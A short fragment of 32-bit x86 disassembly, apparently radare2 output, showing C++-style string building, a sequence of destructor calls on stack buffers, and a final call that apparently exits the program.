add esp, 0xc
push esi
push eax
lea eax, [ebp - 0x198]
mov byte [ebp - 4], 0x71
push eax
call fcn.0040c5b0
add esp, 0xc
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x72
push ecx
push eax
lea eax, [ebp - 0x27c]
push eax
call fcn.0040c5d0
add esp, 0xc
mov ecx, eax
mov byte [ebp - 4], 0x73
call fcn.00406c10
push eax
lea eax, [ebp - 0x2b8]
push eax
call fcn.004061d0
add esp, 8
lea ecx, [ebp - 0x2b8]
call fcn.004011e0
lea ecx, [ebp - 0x27c]
call fcn.004011e0
lea ecx, [ebp - 0x198]
call fcn.004011e0
lea ecx, [ebp - 0xa0]
call fcn.004011e0
lea ecx, [ebp - 0x4c]
call fcn.004011e0
lea ecx, [ebp - 0x88]
call fcn.004011e0
lea eax, [ebp - 0x1f8]
push eax
call fcn.0040eec0
add esp, 4
push 0
call fcn.0041a1ed
int3